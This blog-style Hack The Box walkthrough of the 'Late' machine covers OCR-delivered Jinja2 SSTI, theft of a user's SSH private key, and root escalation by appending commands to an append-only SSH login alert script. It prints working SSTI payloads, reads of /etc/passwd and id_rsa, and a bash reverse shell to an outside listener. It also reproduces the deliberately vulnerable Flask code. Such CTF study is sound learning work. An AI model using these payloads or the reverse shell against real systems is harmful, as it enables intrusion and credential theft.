HTB - Late - 10.10.11.156
Overview
This supposedly ‘Easy’ difficulty Linux machine Late from https://hackthebox.com was both simple to figure out, and incredibly challenging to pull off. Patience was a key virtue to have while completing the first challenge. The way forward was fairly easy to find, but exploiting it took numerous iterations that could not be (easily?) scripted. I actually gave up on this one twice, but kept coming back since I knew exactly what I needed to do. In the end, my persistence paid off and I was in. The second challenge in this machine was both easy to find and easy to miss, depending on how observant you are. I learned how to use a new tool to gain the information I needed, and the challenge was quickly one. Overall I liked this machine, except for the pickiness of the initial payload execution.
Useful Skills and Tools
Read attributes of files on Linux with lsattr
lsattr
lists the file attributes on a second extended file system. See chattr
below for a description of each attribute.
Useful options:
Argument | Description |
---|---|
-R | Recursively list attributes of directories and their contents. |
-a | List all files in directories, including files that start with . (hidden files). |
-d | List directories like other files, rather than listing their contents. |
-l | Print the options using long names instead of single character abbreviations. |
You can chain together these options to recursively list the attributes of all files and folders in a directory with long names:
1
lsattr -Ral /home/
Change attributes of files on Linux with chattr
chattr
changes the file attributes on a Linux file system.
The format of a symbolic mode is
+-=[aAcCdDeFijmPsStTux]
.
Symbol | Meaning |
---|---|
+ | Add the following attributes the to specified file |
- | Remove the following attributes from the specified file |
= | Set the attributes of the specified file to be the following |
The letters aAcCdDeFijmPsStTux
select the new attributes for the specified files:
Attribute | Description |
---|---|
a | append only |
A | no atime updates |
c | compressed |
C | no copy on write |
d | no dump |
D | synchronous directory updates |
e | extent format |
F | case-insensitive directory lookups |
i | immutable |
j | data journaling |
m | don’t compress |
P | project hierarchy |
s | secure deletion |
S | synchronous updates |
t | tail-merging |
T | top of directory hierarchy |
u | undeletable |
x | direct access for files |
The following attributes are read-only and may be listed by lsattr
but not modified by chattr
:
Attribute | Description |
---|---|
E | encrypted |
I | indexed directory |
N | inline data |
V | verity |
See the chattr manpage for more detailed descriptions of each attribute.
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.156
. The options I regularly use are:
Flag | Purpose |
---|---|
-p- | A shortcut which tells nmap to scan all ports |
-vvv | Gives very verbose output so I can see the results as they are found, and also includes some information not normally shown |
-sC | Equivalent to --script=default and runs a collection of nmap enumeration scripts against the target |
-sV | Does a service version scan |
-oA $name | Saves all three formats (standard, greppable, and XML) of output with a filename of $name |
-Pn | Skips doing a ICMP ping check, useful for hosts that do not reply to these |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(zweilos㉿kalimaa)-[~/htb/late]
└─$ nmap -Pn -vvv -p- --min-rate 1000 10.10.11.156 -oN ports.late
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 19:38 CDT
Initiating Parallel DNS resolution of 1 host. at 19:38
Completed Parallel DNS resolution of 1 host. at 19:38, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 19:38
Scanning 10.10.11.156 [65535 ports]
Discovered open port 22/tcp on 10.10.11.156
Discovered open port 80/tcp on 10.10.11.156
Completed Connect Scan at 19:39, 56.03s elapsed (65535 total ports)
Nmap scan report for 10.10.11.156
Host is up, received user-set (0.060s latency).
Scanned at 2022-07-20 19:38:10 CDT for 56s
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 56.17 seconds
┌──(zweilos㉿kalimaa)-[~/htb/late]
└─$ cat ports.late | grep open | cut -d '/' -f 1 | tr '\n' ',' > ports
First I did a quick port sweep to see what was open, then used some bash tricks to pull out the ports from the output for doing a service scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(zweilos㉿kalimaa)-[~/htb/late]
└─$ nmap -Pn -sCV -vvv -p$(cat ports) --min-rate 1000 10.10.11.156 -oA services.late
Nmap scan report for 10.10.11.156
Host is up, received user-set (0.070s latency).
Scanned at 2022-07-20 20:55:46 CDT for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSqIcUZeMzG+QAl/4uYzsU98davIPkVzDmzTPOmMONUsYleBjGVwAyLHsZHhgsJqM9lmxXkb8hT4ZTTa1azg4JsLwX1xKa8m+RnXwJ1DibEMNAO0vzaEBMsOOhFRwm5IcoDR0gOONsYYfz18pafMpaocitjw8mURa+YeY21EpF6cKSOCjkVWa6yB+GT8mOcTZOZStRXYosrOqz5w7hG+20RY8OYwBXJ2Ags6HJz3sqsyT80FMoHeGAUmu+LUJnyrW5foozKgxXhyOPszMvqosbrcrsG3ic3yhjSYKWCJO/Oxc76WUdUAlcGxbtD9U5jL+LY2ZCOPva1+/kznK8FhQN
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBMen7Mjv8J63UQbISZ3Yju+a8dgXFwVLgKeTxgRc7W+k33OZaOqWBctKs8hIbaOehzMRsU7ugP6zIvYb25Kylw=
| 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIGrWbMoMH87K09rDrkUvPUJ/ZpNAwHiUB66a/FKHWrj
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The service scan did not reveal much useful other than the version numbers of the services being run. Neither seemed immediately vulnerable to anything.
Port 80 - HTTP
Since I had no credentials for SSH I decided to start with enumeration of the HTTP service on port 80.
1
2
3
contact info +234 23 9873237
support@late.htb
234 Hidden Pond Road, Ashland City, TN 37015
Late 2022, Designed by kavigihan with ♥ (http://instagram.com/_kavi.gihan/)
At the bottom of the page I looked for clues that would give me potential information about what the web server was running, or any potential web apps, and I found some contact information including an address and phone number. Interestingly, the phone number had a strange amount of numbers and did not match the address, which said it was in Tennessee, USA. I looked up the country code +234
and found that it is registered to Nigeria. There was also an email address with the hostname late.htb
which I added to my hosts file.
The ‘Contact Us’ page had a different address and phone number on it.
1
2
3
4
Address
2002 Holcombe Boulevard, Houston, TX 77030, USA
Phone:
(713) 791-1414
The 713 area code on the phone number here actually matched the Houston, Texas address. There was also a form where a message could be submitted to the site. I tried a simple XSS test on the form, but after checking for a response in Burp I could see that the data wasn’t even being sent to the server.
On the main page of the website under the FAQ section I found a link to http://images.late.htb/
.
How can I edit photos online for free?
With late free online photo editor, you can do just that. First, open Late’s free online photo editor website. Second, choose one editing feature you need, such as basic adjustments, portrait beauty, or photo effects from the left dashboard. Third, apply the feature, download, and share your final piece.
I added images.late.htb
to /etc/hosts
, then tried both late.htb
and the new subdomain to see if the site changed. late.htb
simply brought up the main page again, but images.late.htb
pulled up something new.
The image converter
I followed the link from the first page, which took me to an online image converter. This page purported to be able to turn an image into a text document. If nothing else, the backend (built on Flask, which means Python) seemed like it would be attempting to do optical character recognition (OCR) and parsing text from any images uploaded. There was an upload button, so of course I tried uploading some different backdoors and python scripts, but nothing seemed to execute. After a couple of tries I got an error message on the site whenever I tried to upload another file:
Error occured while processing the image: [Errno 28] No space left on device
No matter what file I uploaded, I received the same error message, so I reverted the machine on Hack the Box. After this it seemed to work much better.
After resetting the machine the page layout looked like it was actually loading CSS, and I never got the error message again.
Since my test code examples failed to execute as far as I could tell, I tried uploading an image with a simple bash command payload. Depending on how the text was being parsed and what it did with it afterwards would determine how to proceed.
1
2
<p>test; cat /etc/passwd
</p>
After uploading the image, I got back a file download of results.txt
,which contained the text from my image embedded in html <p>
tags. The site was able to correctly parse the text in the image I sent it, however, it did not look like I could run shell commands directly. Next I tried to run python code in the same way.
1
2
3
<p>import os;
os.system(‘cat /etc/passwd')|
</p>
Unfortunately this did not work either. I thought at the time that it was perhaps because it incorrectly read my single quote as a backtick. Next, I tried an old trick of embedding the code directly into the image code using Burp.
I captured the POST request of the file upload, then forwarded it using Burp repeater. This did not seem to work as intended, but revealed some interesting information instead through an error message.
1
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/late_9_test_upload31.png6662'
The error message recieved after sending my malformed PNG file showed the username and directory of the running web application. I decided to do some more reading on the backend of this web app and how Flask might be used to power it.
- https://medium.com/@amanzishan.az/building-a-flask-web-application-to-extract-text-from-images-3f761f4880d9
- https://pythonbasics.org/what-is-flask-python/
jinja2
jinja2 is a popular template engine for Python.A web template system combines a template with a specific data source to render a dynamic web page.
This allows you to pass Python variables into HTML templates like this:
1
2
3
4
5
6
7
8
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>Hello {{ username }}</h1>
</body>
</html>
I quickly recognized the double curly brace syntax from my recent adventures doing the machine Catch from Hack the Box (see my writeup here!) In this challenge I had used Server Side Template Injection (SSTI) to get the server to execute code through injection in the code parser.
- https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/
- https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
This was plenty of information to start trying to test for SSTI vulnerabilities in Flask using Jinja.
I sent a standard payload {{ 7 * 7 }}
to test for potential code execution. If the vulnerablitiy existed, the results I got back should contain the result of the math expression, and not just the text.
After opening the new results.txt
, I got back confirmation that there was indeed an SSTI vulnerability. Now, I just had to test if it could be exploited to run other arbitrary code. As I found out during the previous challenge sometimes simple math gets through, but filters block anything more advanced.
Going off the blog posts I found during my research into Jinja SSTI vulnerabilities, I sent the payload {{ config }}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<p><Config {'ENV': 'production',
'DEBUG': False, 'TESTING': False,
'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SECRET_KEY': b'_5#y2L"F4Q8z\n\xec]/',
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
'USE_X_SENDFILE': False, 'SERVER_NAME': None,
'APPLICATION_ROOT': '/',
'SESSION_COOKIE_NAME': 'session',
'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'MAX_CONTENT_LENGTH': None,
'SEND_FILE_MAX_AGE_DEFAULT': None,
'TRAP_BAD_REQUEST_ERRORS': None,
'TRAP_HTTP_EXCEPTIONS': False,
'EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http',
'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True,
'JSONIFY_PRETTYPRINT_REGULAR': False,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE':
4093}>
</p>
This executed as well, but unfortunately there did not seem to be anything useful in the output.
Frustrations with the OCR text parser
After the two simple code execution successes, I decided to go for code execution using the more complicated Python core object method chains in the examples. This is where I started to run into problems with the optical character recognition software.
On of the payloads I tried had single quotes in it, which led to an error. It looked like it read a quote and something broke, which looked promising.
1
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
I sent the above payload based on the request module (which is supposedly included in Jinja/Flask), trying to get the system to run the command id
.
1
2
<p>avi.request.apphlication. gloDdDals.. Duilltins . Import__ (os ).popen(ild ).read) 5 ¢
</p>
My results.txt
contained garbled output. It looked like I was dealing with limitations of the text scanner.
Error occured while processing the image: ‘method object’ has no attribute ‘globals_’
I tried the same payload with a larger font and got the above error message. It looked like the code might actually be executing! I wasn’t sure at this point if the globals
attribute was actually missing or if it had misread the text again.
1
'abc'.__class__.__base__.__subclasses__()[96].__subclasses__()[0].__subclasses__()[0]('test.txt').read()
I decided to try another payload to see if it could read it better. My next payload used a different chain based on the String class.
1
2
3
<p>"abc'. class. base. subclasses ()[96]. subclasses ()[0]. subclasses ()[0]( */etc/passwd|' ).read()
</p>
After getting back results.txt
I started thinking that this scanner was not so great! It did not seem to recognize underscores at all, which could be a problem since this method of exploitation relied on Python inner workings that had lots of underscores. I decided to try using variations of themes, fonts, colors, and sizes to see if I could coax the scanner into reading my payload images.
one day later…
After what seemed like a million tries, using the Kate theme and Noto Serif Regular font (size 12), I was able to get the reader to read my text enough to return something a bit different than the garbled output it had been giving up to that point.
1
2
<p>subclasses__()[0]("/etc/passwd").read()
</p>
Unfortunately the output showed that it was running something…but it stopped reading just before the final part. It looked like maybe a random space was inserted. Spaces and underscores were the worst to deal with.
another day later…
I sent many variations of the different payloads; each one getting back slightly different errors, output, or garbled text. This payload gave me an error that seemed very promising.
This error message was a bit discouraging until I noticed one tiny thing in the output: there was a space before os
. It seemed like the parser had put an extra space before the module name, which caused Python to throw an error. Re-energized, I tried different variations in the text to try to get it to read the module name correctly.
A working payload
I tried a lot of variations in spacing and quotes once I got a font that seemed to be readable enough to get code execution.
1
2
3
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
</p>
Using the above payload I finally got back a response with shell command code execution !!!!!! The output verified the information I had gotten from a previous error message and showed the web app was running as the user svc_acc
. I was very elated at this time, and tried to run other commands using this as a template.
1
{{ request.application._ _ globals_ _ . _ _builtins_ _ . _ _import_ _( "os" ).popen( "id" ).read() }}
The payload that finally worked was as above (note the odd spaces). I had to format it like this with the Noto Serif Regular Font (size 12) on the Kali-Dark theme. It took me hundreds of iterations with different fonts, themes, spacing, quotes, etc to get this to finally work.
/etc/passwd
It took me another 5 tries of adjusting spaces to get the payload to work with my next command cat /etc/passwd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
svc_acc:x:1000:1000:Service Account:/home/svc_acc:/bin/bash
rtkit:x:111:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
avahi:x:113:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:114:117:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
saned:x:115:119::/var/lib/saned:/usr/sbin/nologin
colord:x:116:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:117:121:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
geoclue:x:118:123::/var/lib/geoclue:/usr/sbin/nologin
smmta:x:119:124:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:120:125:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
</p>
I was excited to finally get this to work after a few days of trying, but now I was tired of playing with the OCR and wanted to be done. Since I already had the username of the service was running under, I hoped that it would allow me to quickly gain a foothold on this machine with a minimum of commands sent, and with the least special characters used.
1
svc_acc:x:1000:1000:Service Account:/home/svc_acc:/bin/bash
Inexplicably this service account could log in with a shell, so I hoped they would also have an SSH key I could steal. If not, I would add my key to an authorized_keys
file, creating it if I had to. I had the path to the user’s home directory already, so I crafted my next payload to target the SSH key.
id_rsa
I had to play with spacing a bit again to get the next command to work, but it was not near as much trouble now that I could get the OCR to (somewhat) consistently read the payloads I sent.
It was an extreme relief to see that my hunch was right, and that the default SSH key name had been used. I copied the SSH private key to another file and used it to log in as svc_acc
.
Initial Foothold
1
2
3
4
5
┌──(zweilos㉿kalimaa)-[~/htb/late]
└─$ ssh svc_acc@10.10.11.156 -i late.key
svc_acc@late:~$ id && hostname
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
late
Finally, after a couple days of struggling with getting the OCR to read my payloads correctly, I had a solid foothold on the machine, and longer had to rely on inconsistent methods of code execution.
User.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
svc_acc@late:~$ ls -la
total 3052
drwxr-xr-x 7 svc_acc svc_acc 4096 Jul 24 16:19 .
drwxr-xr-x 3 root root 4096 Jan 5 2022 ..
drwxrwxr-x 7 svc_acc svc_acc 4096 Apr 4 13:28 app
lrwxrwxrwx 1 svc_acc svc_acc 9 Jan 16 2022 .bash_history -> /dev/null
-rw-r--r-- 1 svc_acc svc_acc 3771 Apr 4 2018 .bashrc
drwx------ 3 svc_acc svc_acc 4096 Apr 7 13:51 .cache
drwx------ 3 svc_acc svc_acc 4096 Jan 5 2022 .gnupg
drwxrwxr-x 5 svc_acc svc_acc 4096 Jan 5 2022 .local
-rw-r--r-- 1 svc_acc svc_acc 807 Apr 4 2018 .profile
-rw-rw-r-- 1 svc_acc svc_acc 66 Jul 24 15:53 .selected_editor
drwx------ 2 svc_acc svc_acc 4096 Jul 24 16:28 .ssh
-rw-r----- 1 root svc_acc 33 Jul 24 08:08 user.txt
svc_acc@late:~$ cat user.txt
e8ac4218cdd6aa81fa71c1ae2cb8fcdb
The user flag was waiting for me in the home folder of svc_acc
.
Path to Power (Gaining Administrator Access)
Enumeration as user svc_acc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import datetime
import os, random
from flask.templating import render_template_string
from werkzeug.utils import secure_filename
import PIL.Image
import pytesseract
from PIL import Image
from flask import Flask, request, render_template, redirect, url_for, session, send_file
app = Flask(__name__)
upload_dir = "/home/svc_acc/app/uploads"
misc_dir = '/home/svc_acc/app/misc'
allowed_extensions = ["jpg" ,'png']
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
@app.route('/')
def home():
return render_template("index.html", title="Image Reader")
@app.route('/scanner', methods=['GET', 'POST'])
def scan_file():
scanned_text = ''
results = ''
if request.method == 'POST':
start_time = datetime.datetime.now()
f = request.files['file']
if f.filename.split('.')[-1] in allowed_extensions:
try:
ID = str(random.randint(1,10000))
file_name = upload_dir + "/" + secure_filename(f.filename )+ ID
f.save(file_name)
pytesseract.pytesseract.tesseract_cmd = r'/usr/bin/tesseract'
scanned_text = pytesseract.image_to_string(PIL.Image.open(file_name))
results = """<p>{}</p>""".format(scanned_text)
r = render_template_string(results)
path = misc_dir + "/" + ID + '_' + 'results.txt'
with open(path, 'w') as f:
f.write(r)
return send_file(path, as_attachment=True,attachment_filename='results.txt')
except Exception as e:
return ('Error occured while processing the image: ' + str(e))
else:
return 'Invalid Extension'
I began my enumeration of the machine by checking out the code for the web app. The file main.py
was the code for backend of the image processing site and contained a secret key b'_5#y2L"F4Q8z\n\xec]/'
. I realized that this was pretty much the same as the secret key that I had leaked during one of my first code execution tests, but there seemed to be some character encoding in that one that made it hard to recognize.
1
2
3
4
5
6
7
2022/07/24 17:47:27 CMD: UID=0 PID=10173 | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/07/24 17:47:27 CMD: UID=0 PID=10176 | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/07/24 17:47:27 CMD: UID=0 PID=10178 | sendmail: MTA: ./26OHlRBY010177 from queue
2022/07/24 17:47:27 CMD: UID=0 PID=10177 | sendmail: MTA: 26OHlRBZ010177 localhost.localdomain [127.0.0.1]: QUIT
2022/07/24 17:47:27 CMD: UID=0 PID=10179 | sshd: svc_acc [priv]
2022/07/24 17:47:27 CMD: UID=0 PID=10180 | /etc/mail/smrsh/procmail -t -f svc_acc@new -a -d root
Next, I checked running processes; There seemed to be mail being sent which looked to potentially be an alert after I had used SSH to log in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
It was indeed what the script /usr/local/sbin/ssh-alert.sh
seemed to be for. It would send an email to the user specified (root
in the case of the running process I saw). I thought earlier that it was odd that this user would have SSH login enabled. It seemed like it was being monitored. It also looked like code could be run in the body of this email…I wondered if I could get the root user to execute commands for me by triggering an alert?
1
2
svc_acc@late:/dev/shm$ ls -la /usr/local/sbin/ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Jul 24 20:34 /usr/local/sbin/ssh-alert.sh
It did not appear as if I could write to this file, but when I opened it in vim earlier I did not get a read-only error as normal for files that you do not have write permissions for.
1
2
3
4
5
6
"/usr/local/sbin/ssh-alert.sh"
WARNING: The file has been changed since reading it!!!
Do you really want to write to it (y/n)?y
"/usr/local/sbin/ssh-alert.sh" E212: Can't open file for writing
Press ENTER or type command to continue
I tried to save some changes to the file and got the error E212: Can't open file for writing
. So the file was not writeable, but also was not read-only? This was strange behavior.
- https://knowledge.informatica.com/s/article/521629?language=en_US
I did some research on this error message and found a knowledge center post which seemed to show a similar situation. It described using the command lsattr
to check the file’s attributes to see if it had been marked as non-editable.
- https://howtoforge.com/linux-lsattr-command/
The letters ‘aAcCdDeijPsStTu’ select the new attributes for the files: append only (a), no atime updates (A), compressed (c), no copy on write (C), no dump (d), synchronous directory updates (D), extent format (e), immutable (i), data journalling (j), project hierarchy (P), secure deletion (s), synchronous updates (S), no tail-merging (t), top of directory hierarchy (T), and undeletable (u).
The following attributes are read-only, and may be listed by lsattr(1) but not modified by chattr: encrypted (E), indexed directory (I), and inline data (N).
1
2
svc_acc@late:/dev/shm$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
I checked the attributes of the file with lsattr
and found that I was only able to append (a
) the document, not directly write to it. This was why I was unable to save the file after editing it, but vim did not show the file as ‘read-only’.
1
svc_acc@late:/dev/shm$ echo '`echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDEkT7JxMDRMObKtE7+GuvBQGPHPnDmF7Yly0ZClqrdC > /root/.ssh/authorized_keys`' >> /usr/local/sbin/ssh-alert.sh
Armed with knowledge, I decided to try to add my SSH public key to root
’s authorized_keys
file. I logged out of my SSH session and then back in to try to trigger the alert script again. After verifying that the script ran, I tried to SSH in as root
. This did not work.
1
2
svc_acc@late:~$ echo '`cat /root/.ssh/id_rsa > /dev/shm/.test`' >> /usr/local/sbin/ssh-alert.sh
Next, I tried to send root
’s potential SSH key to another file, but nothing appeared after forcing the script ro run again.
1
2
3
4
5
6
7
# Authentication:
#LoginGraceTime 2m
PermitRootLogin no
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
I found the problem in the file /etc/ssh/sshd_config
: root was not allowed to login through SSH.
Getting a shell
1
svc_acc@late:/dev/shm$ echo '`bash -c "bash -i >& /dev/tcp/10.10.14.132/9001 0>&1"`' >> /usr/local/sbin/ssh-alert.sh
Next, I tried to get in directly by sending myself a reverse shell.
Root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(zweilos㉿kalimaa)-[~/htb/late]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.132] from (UNKNOWN) [10.10.11.156] 48328
bash: cannot set terminal process group (13633): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/# cat root.txt
cat root.txt
cat: root.txt: No such file or directory
root@late:/# ls -la
ls -la
total 104
drwxr-xr-x 23 root root 4096 Apr 7 13:51 .
drwxr-xr-x 23 root root 4096 Apr 7 13:51 ..
drwxr-xr-x 2 root root 4096 Apr 18 12:05 bin
drwxr-xr-x 4 root root 4096 Apr 7 12:08 boot
drwxr-xr-x 2 root root 4096 Jan 5 2022 cdrom
drwxr-xr-x 19 root root 3900 Jul 24 08:07 dev
drwxr-xr-x 121 root root 12288 Apr 18 12:05 etc
drwxr-xr-x 3 root root 4096 Jan 5 2022 home
lrwxrwxrwx 1 root root 34 Apr 7 12:08 initrd.img -> boot/initrd.img-4.15.0-175-generic
lrwxrwxrwx 1 root root 34 Apr 7 12:08 initrd.img.old -> boot/initrd.img-4.15.0-175-generic
drwxr-xr-x 21 root root 4096 Apr 18 12:05 lib
drwxr-xr-x 2 root root 4096 Apr 7 13:51 lib64
drwx------ 2 root root 16384 Jan 5 2022 lost+found
drwxr-xr-x 2 root root 4096 Aug 6 2020 media
drwxr-xr-x 2 root root 4096 Apr 7 13:51 mnt
drwxr-xr-x 2 root root 4096 Jan 14 2022 opt
dr-xr-xr-x 194 root root 0 Jul 24 08:07 proc
drwx------ 7 root root 4096 Apr 18 12:06 root
drwxr-xr-x 29 root root 880 Jul 24 08:08 run
drwxr-xr-x 2 root root 12288 Apr 7 11:33 sbin
drwxr-xr-x 2 root root 4096 Aug 6 2020 srv
dr-xr-xr-x 13 root root 0 Jul 24 15:48 sys
drwxrwxrwt 11 root root 4096 Jul 24 21:01 tmp
drwxr-xr-x 10 root root 4096 Aug 6 2020 usr
drwxr-xr-x 13 root root 4096 Apr 7 13:51 var
lrwxrwxrwx 1 root root 31 Apr 7 12:06 vmlinuz -> boot/vmlinuz-4.15.0-175-generic
lrwxrwxrwx 1 root root 31 Apr 7 12:08 vmlinuz.old -> boot/vmlinuz-4.15.0-175-generic
root@late:/# cd root
cd root
root@late:/root# cat root.txt
cat root.txt
957038a09b2731b25aa2d4f26daf0001
Shortly afterwards, I was greeted by a shell on my waiting netcat listener, and was able to collect the root proof. Job complete!
Thanks to kavlglhan
for teaching me patience as a hacker. This machine required what seemed to be hundreds of iterations of testing different fonts, styles, colors, and sizes of the text to get the OCR to properly read every single character in my SSTI payload. It especially had difficulty with underscores and spacing between characters. Other than frustrations with the OCR, the machine was fairly simple and straightforward. I enjoyed learning about Jinja and SSTI, as well as the lsattr
tool, which was new to me. These will certainly come in handy in the future.
If you like this content and would like to see more, please consider buying me a coffee!